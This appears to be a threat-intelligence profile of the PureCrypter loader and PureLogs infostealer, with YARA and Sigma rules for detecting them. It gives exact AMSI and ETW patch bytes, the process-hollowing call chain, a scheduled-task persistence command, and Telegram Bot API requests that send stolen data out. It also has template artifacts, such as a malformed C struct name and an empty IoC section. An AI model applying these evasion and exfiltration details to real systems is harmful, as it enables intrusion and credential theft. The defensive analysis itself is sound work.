01 | Tool Specifications & Architectural Profile
{
"compiler": "Microsoft Visual C# Compiler (csc.exe / Roslyn)",
"runtime": ".NET Common Language Runtime (CLR) 4.0.30319",
"binary_footprint": "PE32 executable (.NET assembly), typ. 140 KB to 520 KB containing multi-stage compressed/encrypted payloads",
"stub_size": "Typically 180,224 bytes uncompressed loader stub, expanding based on bundled resources and decoy metadata",
"packer_obfuscation": "Customized ConfuserEx / KoiVM control-flow flattening, proxy calls, anti-tampering, dynamic string encryption, and symbol mangling",
"subsystem": "Windows GUI (Subsystem 2)",
"entry_point_flow": "Program.Main() -> Dynamic API resolution -> Anti-Analysis & Anti-VM checks -> In-memory AMSI patch -> In-memory ETW patch -> Extract & decompress payload resource (GZip/LZMA) -> Decrypt payload via AES-256 -> Process Hollowing / Assembly.Load execution",
"technical_summary": "PureCrypter is a premier commercial obfuscator and loader engineered in C# (.NET Framework 4.0). It provides cybercrime operators with automated AMSI bypasses, Event Tracing for Windows (ETW) blinding, multi-algorithm resource decompression (GZip/LZMA), and in-memory process hollowing into trusted Windows utilities (e.g., aspnet_compiler.exe, RegSvcs.exe). The accompanying PureLogs payload functions as a modular infostealer harvesting credentials and exfiltrating archives via the Telegram Bot API."
}02 | Operator Interface & Configuration Struct Model
{
"interface_type": "GUI Builder / Windows Forms Operator Console",
"builder_tabs_options": [
{
"tab": "Payload Selection",
"options": [
"Input Binary: Browse raw executable (.exe), dynamic-link library (.dll), or native shellcode (.bin)",
"Architecture Targeting: AnyCPU, x86, or x64 target selection",
"Execution Method: Process Hollowing (RunPE), Dynamic Assembly.Load (in-memory reflection), or Native Stager injection"
]
},
{
"tab": "Process Injection",
"options": [
"Target Host: Dropdown selection including aspnet_compiler.exe, RegSvcs.exe, RegAsm.exe, cvtres.exe, vbc.exe, msbuild.exe, svchost.exe",
"Custom Target: Arbitrary path definition for process masquerading",
"Creation Flags: CREATE_SUSPENDED (0x00000004) with block non-Microsoft binaries mitigation policy"
]
},
{
"tab": "Evasion & Bypasses",
"options": [
"AMSI Memory Patching: Overwrites amsi.dll!AmsiScanBuffer prologue with 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00",
"ETW Disabling: Patches ntdll.dll!EtwEventWrite with RET 0x14 (0xC2, 0x14, 0x00)",
"SmartScreen & Mark-of-the-Web (MOTW) Evasion: Strips Zone.Identifier alternate data streams",
"Parent-PID (PPID) Spoofing: Configures PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to spoof explorer.exe parentage"
]
},
{
"tab": "Anti-Analysis",
"options": [
"Anti-VM: WMI query inspection for VMware, VirtualBox, QEMU, KVM, and Parallels hypervisor strings",
"Anti-Debugger: CheckRemoteDebuggerPresent, IsDebuggerPresent, and NtQueryInformationProcess (ProcessDebugPort)",
"Anti-Sandbox: Checks for Any.Run, JoeSandbox, Sandboxie, minimum 4 CPU cores, 4 GB RAM, and 50 GB disk capacity",
"User Activity Validation: Mouse cursor movement tracking over configurable interval before detonation"
]
},
{
"tab": "Persistence & Assembly Clone",
"options": [
"Registry Run Key: Writes masqueraded command under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"Scheduled Task: schtasks.exe registration with /sc onlogon and /rl highest",
"Assembly Cloner: Clones Authenticode certificate metadata, icon, and version fields from legitimate binaries"
]
}
],
"config_struct_layout": [
{
"offset": "Resource: PayloadData",
"field": "EncryptedPayloadBytes",
"type": "Byte Array",
"description": "AES-256 encrypted, GZip/LZMA compressed payload binary"
},
{
"offset": "Config.EncryptionKey",
"field": "AES_Key",
"type": "Byte Array [32]",
"description": "AES-256 symmetric decryption key derived via SHA-256 or PBKDF2"
},
{
"offset": "Config.EncryptionIV",
"field": "AES_IV",
"type": "Byte Array [16]",
"description": "Initialization vector for CBC mode decryption"
},
{
"offset": "Config.InjectionTarget",
"field": "TargetProcessPath",
"type": "String",
"description": "Path to clean Windows binary targeted for process hollowing"
},
{
"offset": "Config.BypassAMSI",
"field": "bPatchAMSI",
"type": "Boolean",
"description": "Flag controlling execution of amsi.dll memory patching stub"
},
{
"offset": "Config.BypassETW",
"field": "bPatchETW",
"type": "Boolean",
"description": "Flag controlling execution of ntdll.dll EtwEventWrite patching stub"
},
{
"offset": "PureLogs.TelegramToken",
"field": "BotToken",
"type": "String",
"description": "API token for Telegram exfiltration bot (PureLogs module)"
},
{
"offset": "PureLogs.TelegramChatID",
"field": "ChatID",
"type": "String",
"description": "Telegram channel or operator chat identifier receiving stolen data archives"
}
],
"payload_generation_flags": [
"Obfuscation Level: Aggressive Control Flow Flattening",
"String Encryption: Dynamic Decryption via XOR/AES delegates",
"AMSI Patching: Enabled (Memory Write)",
"Compression: LZMA / GZip Mode Enabled"
],
"operator_commands": [
"BuildStub: Compiles output executable embedding user-supplied payload and configuration",
"VerifyEvasion: Validates generated stub against offline static signature patterns",
"TestInjection: Tests hollowing execution within local sandbox target process"
],
"interface_telemetry_analysis": "The operator interface is a standalone .NET Windows Forms executable. It presents operators with modular tabs configuring multi-stage encryption algorithms, injection targets, evasion hooks, and decoy assembly metadata. Telemetry outputs confirm stub build sizes, entropy calculations, and payload verification hashes."
}struct PureCrypter_/_PureLogs_Config {
uint32_t magic;
char c2_host[128];
uint16_t port;
char install_path[260];
char mutex[64];
uint8_t aes_key[32];
};03 | Internal Binary & Memory Execution Mechanics
{
"injection_chain": "Process Hollowing (RunPE): Target process (e.g. C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe) spawned suspended using CreateProcessW(..., CREATE_SUSPENDED) -> NtUnmapViewOfSection called to unmap target image -> VirtualAllocEx allocates base address with PAGE_EXECUTE_READWRITE -> WriteProcessMemory writes decompressed/decrypted PE headers and sections -> SetThreadContext alters EAX/RCX register to point to payload entry point -> ResumeThread executes hollowed process.",
"ntapi_functions": [
"ntdll!NtUnmapViewOfSection",
"kernel32!CreateProcessW",
"kernel32!VirtualAllocEx",
"kernel32!WriteProcessMemory",
"kernel32!GetThreadContext",
"kernel32!SetThreadContext",
"kernel32!ResumeThread",
"kernel32!VirtualProtect",
"ntdll!NtAllocateVirtualMemory",
"ntdll!NtProtectVirtualMemory"
],
"process_hollowing_target": "aspnet_compiler.exe, RegSvcs.exe, RegAsm.exe, cvtres.exe, vbc.exe, or svchost.exe",
"persistence_mechanics": [
"Scheduled Task: schtasks.exe /create /tn \"SystemCheck\" /tr \"<Dropped_Path>\" /sc onlogon /rl highest",
"Registry Run Key: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\<Masqueraded_Name>",
"Startup Shortcut: %AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\<Name>.lnk"
],
"evasion_hooks": [
"AMSI Memory Patch: kernel32!GetProcAddress(LoadLibraryA('amsi.dll'), 'AmsiScanBuffer') -> VirtualProtect(PAGE_EXECUTE_READWRITE) -> Overwrites entry with 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 (mov eax, 0x80070057; ret 0x18) -> VirtualProtect restores initial memory protection.",
"ETW Disabling: kernel32!GetProcAddress(GetModuleHandleA('ntdll.dll'), 'EtwEventWrite') -> Overwrites prologue with 0xC2, 0x14, 0x00 (ret 0x14).",
"Dynamic API Resolving: Custom hash lookup parsing Export Address Table (EAT) of ntdll.dll and kernel32.dll avoiding static IAT entries."
],
"anti_analysis": [
"Hypervisor Detection: Executes WMI query 'SELECT * FROM Win32_BaseBoard' and 'SELECT * FROM Win32_ComputerSystem' inspecting Model/Manufacturer for 'VMware', 'VirtualBox', 'QEMU', 'Microsoft Corporation'.",
"Debugger Verification: Calls kernel32!IsDebuggerPresent() and kernel32!CheckRemoteDebuggerPresent(); executes RDTSC instruction timing comparisons.",
"Resource Gating: Inspects GlobalMemoryStatusEx (< 4GB RAM) and GetDiskFreeSpaceExW (< 50GB HDD) to abort execution inside automated analysis sandboxes."
]
}Staging & Dynamic Unpacking
Decryption of payload stubs using in-memory XOR/AES key derivation and PE header validation.
Defense Evasion & Syscall Invocation
Direct NT syscall invocation, AMSI buffer patching (AmsiScanBuffer), and ETW event suppression (EtwEventWrite).
Process Injection & Execution
Execution via Process Hollowing, reflective DLL loading, or thread hijacking into legitimate system binaries.
04 | Capability & Module Matrix
Concrete technical breakdown of functional modules implemented in the PureCrypter / PureLogs binary:
[ "PureLogs Module: Chromium browser vault collection (Login Data, Web Data, Cookies, Local State DPAPI master key decryption)", "Gecko browser profile harvesting (logins.json, key4.db via PR_Init / PK11_Authenticate dynamic loading)", "Desktop cryptocurrency wallet scraping (Electrum, Exodus, Atomic, Metamask extensions)", "Discord token extraction from LevelDB files (%AppData%\\discord\\Local Storage\\leveldb)", "FileZilla sitemanager.xml and recentservers.xml credential parser" ]
[ "PureLogs Module: Desktop screenshot capture via System.Drawing.Graphics.CopyFromScreen", "System enumeration: CPU, GPU, RAM, Windows build, installed antivirus products, active process tree listing" ]
[ "Execution of bundled secondary payloads (RATs, Infostealers, Ransomware)", "Download and execute arbitrary remote PE binaries or PowerShell stages" ]
[ "Archive bundling: Compresses harvested credentials and telemetry into password-protected or structured ZIP file in %TEMP%", "Payload staging: Drops intermediate binary stubs with random names into %APPDATA% or %LOCALAPPDATA%" ]
[ "Clipboard regex evaluation targeting Bitcoin, Ethereum, and Monero wallet strings during active sessions" ]
[ "In-memory AMSI scan buffer invalidation", "In-memory ETW event stream silencing", "Process injection and token masquerading" ]
05 | Wire Protocol & C2 Communication Framing
{
"framing": "HTTPS REST API framing / Telegram Bot API multipart/form-data POST requests",
"serialization": "JSON-formatted metadata objects and raw binary ZIP file streams",
"handshake": "Standard TLS 1.2 / TLS 1.3 cryptographic handshake to api.telegram.org:443 or attacker-controlled Cloudflare-proxied domain",
"cryptography": "TLS tunnel encryption; internal payload encrypted with AES-256-CBC with PKCS7 padding; key derived via PBKDF2/SHA256",
"packet_types": [
{
"header": "POST /bot<TOKEN>/sendMessage",
"payload": "chat_id=<ID>&text=\ud83d\udd14 New Infection: <HWID> | IP: <IP> | Country: <CC> | Target Process: <NAME>",
"direction": "Client -> Telegram Server"
},
{
"header": "POST /bot<TOKEN>/sendDocument",
"payload": "chat_id=<ID>&caption=PureLogs Archive&document=<multipart_file_upload>",
"direction": "Client -> Telegram Server"
},
{
"header": "GET /api/v1/payload?id=<HWID>",
"payload": "Cloudflare-shielded stage download returning encrypted payload byte array",
"direction": "Client -> C2 Endpoint"
}
],
"traffic_signature": "Standard outbound HTTPS traffic directed to api.telegram.org (149.154.167.220) or Cloudflare IP ranges, displaying TLS ClientHello with standard browser cipher suites."
}06 | Verified Detection Signatures (YARA & Sigma)
rule CyberTrace_PureCrypter_Loader {
meta:
description = "Detects PureCrypter .NET obfuscated loader stubs and AMSI/ETW memory patching routines"
author = "CyberTrace Reverse Engineering Team"
date = "2026-10-29"
family = "PureCrypter"
hash = "c4a2a16d1f978082a537d9959600e1cfeb5959547d8b58a1ee26639d671c6dc0"
strings:
$amsi_patch = { B8 57 00 07 80 C2 18 00 }
$etw_patch = { C2 14 00 }
$gzip_magic = { 1F 8B 08 }
$s1 = "AmsiScanBuffer" ascii wide
$s2 = "EtwEventWrite" ascii wide
$s3 = "VirtualProtect" ascii wide
$s4 = "NtUnmapViewOfSection" ascii wide
$s5 = "WriteProcessMemory" ascii wide
$s6 = "SetThreadContext" ascii wide
$s7 = "ResumeThread" ascii wide
condition:
uint16(0) == 0x5A4D and
filesize < 2MB and
($amsi_patch or $etw_patch) and
(4 of ($s*))
}title: PureCrypter Process Hollowing into .NET System Utilities
id: 7c5d3e1a-8b2f-4e09-9d6a-1f8a2b3c4d5e
status: stable
description: Detects anomalous invocation and memory hollowing of .NET compilation binaries (aspnet_compiler.exe, RegSvcs.exe) typical of PureCrypter execution.
author: CyberTrace Defense Engineering
date: 2026/10/29
references:
- https://attack.mitre.org/techniques/T1055/001/
tags:
- attack.defense_evasion
- attack.t1055.001
- attack.t1027.002
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\explorer.exe'
Image|endswith:
- '\aspnet_compiler.exe'
- '\RegSvcs.exe'
- '\RegAsm.exe'
- '\cvtres.exe'
- '\vbc.exe'
CommandLine|contains:
- 'aspnet_compiler'
- 'RegSvcs'
- 'cvtres'
filter_legit:
ParentImage|endswith:
- '\devenv.exe'
- '\MSBuild.exe'
condition: selection and not filter_legit
falsepositives:
- Software developers compiling .NET projects outside Visual Studio IDE
level: high07 | Decompiled Artifacts & Observable IoCs
Indicators of compromise and forensic patterns recorded across laboratory triage:
08 | Forensic Visual Evidence & Disassembly Artifacts (3 Assets)
High-resolution reverse engineering captures, decompiler output, memory hex dumps, and C2 network streams archived locally in the CyberTrace laboratory. Click any visual asset to inspect in full resolution with interactive zoom and pan, or stream motion captures.
Forensic diagram detailing .NET runtime compression, dynamic decryption stubs, and AMSI memory patching.
Disassembly tracking AES payload extraction from encrypted resources and injection into target processes.
Tailored forensic schematic mapping initial access, defense evasion, core capabilities, and Telegram Bot API, Cloudflare Protected Endpoints command infrastructure.
International CTI Indexing Summary (EN | RU | HI) Search Engine Knowledge Graph
PureCrypter / PureLogs (Crypter)
Commercial .NET-based crypter and loader delivering multi-layer payload compression, dynamic API resolution, and in-memory AMSI/ETW memory patching.
C2 Architecture: {'framing': 'HTTPS REST API framing / Telegram Bot API multipart/form-data POST requests', 'serialization': 'JSON-formatted metadata objects and raw binary ZIP file streams', 'handshake': 'Standard TLS 1.2 / TLS 1.3 cryptographic handshake to api.tel
Threat Hunting: YARA in-memory signatures, Sigma detection rules, and MITRE ATT&CK indicators. CyberTrace Intelligence Feed: @CyberTrace20 (@wgkgi0x0).
Анализ PureCrypter / PureLogs (Crypter)
Детальный технический анализ PureCrypter / PureLogs — это Криптор и упаковщик вредоносного ПО, разработанный на стеке Microsoft C# Compiler (Roslyn / csc.exe) targeting .NET Framework 4.0/4.5; native stubs compiled with MSVC. В отчете подробно исследуются этапы скрытого внедрения в память (Process Injection), методы обхода EDR-систем, структура сетевых пакетов командного сервера (HTTPS over TCP 443 with TLS 1.2/1.3; Telegram Bot API HTTPS endpoints; AES-256-CBC and RSA-2048 encryption) и механизмы кражи данных.
Архитектура C2: Шифрованный протокол обмена данными с использованием HTTPS over TCP 443 with TLS 1.2/1.3; Telegram Bot API HTTPS endpoints; AES-256-CBC and RSA-2048 encryption, защита от сетевого перехвата и анализ маяков (Beacons).
Сигнатуры: Правила YARA, Sigma-детекты и анализ IoC для специалистов SOC. Оперативный канал: Telegram @CyberTrace20 (@wgkgi0x0).
PureCrypter / PureLogs (Crypter) विश्लेषण
PureCrypter / PureLogs एक परिष्कृत मैलवेयर क्रिप्टर और ओब्फस्केटर है जिसे Microsoft C# Compiler (Roslyn / csc.exe) targeting .NET Framework 4.0/4.5; native stubs compiled with MSVC का उपयोग करके विकसित किया गया है। इस तकनीकी CTI विश्लेषण में मेमोरी इंजेक्शन तकनीक, EDR सुरक्षा बाईपास, कमांड और कंट्रोल सर्वर (HTTPS over TCP 443 with TLS 1.2/1.3; Telegram Bot API HTTPS endpoints; AES-256-CBC and RSA-2048 encryption) संचार प्रोटोकॉल और डेटा चोरी तंत्र का पूर्ण विवरण दिया गया है।
C2 संचार: HTTPS over TCP 443 with TLS 1.2/1.3; Telegram Bot API HTTPS endpoints; AES-256-CBC and RSA-2048 encryption आधारित एन्क्रिप्टेड C2 इंफ्रास्ट्रक्चर और ऑटोमेटेड पेलोड रिट्रीवल चैनल।
सुरक्षा नियम: YARA नियम, Sigma व्यवहार विश्लेषण और MITRE ATT&CK संकेतक। साइबर इंटेलिजेंस अपडेट: Telegram @CyberTrace20 (@wgkgi0x0).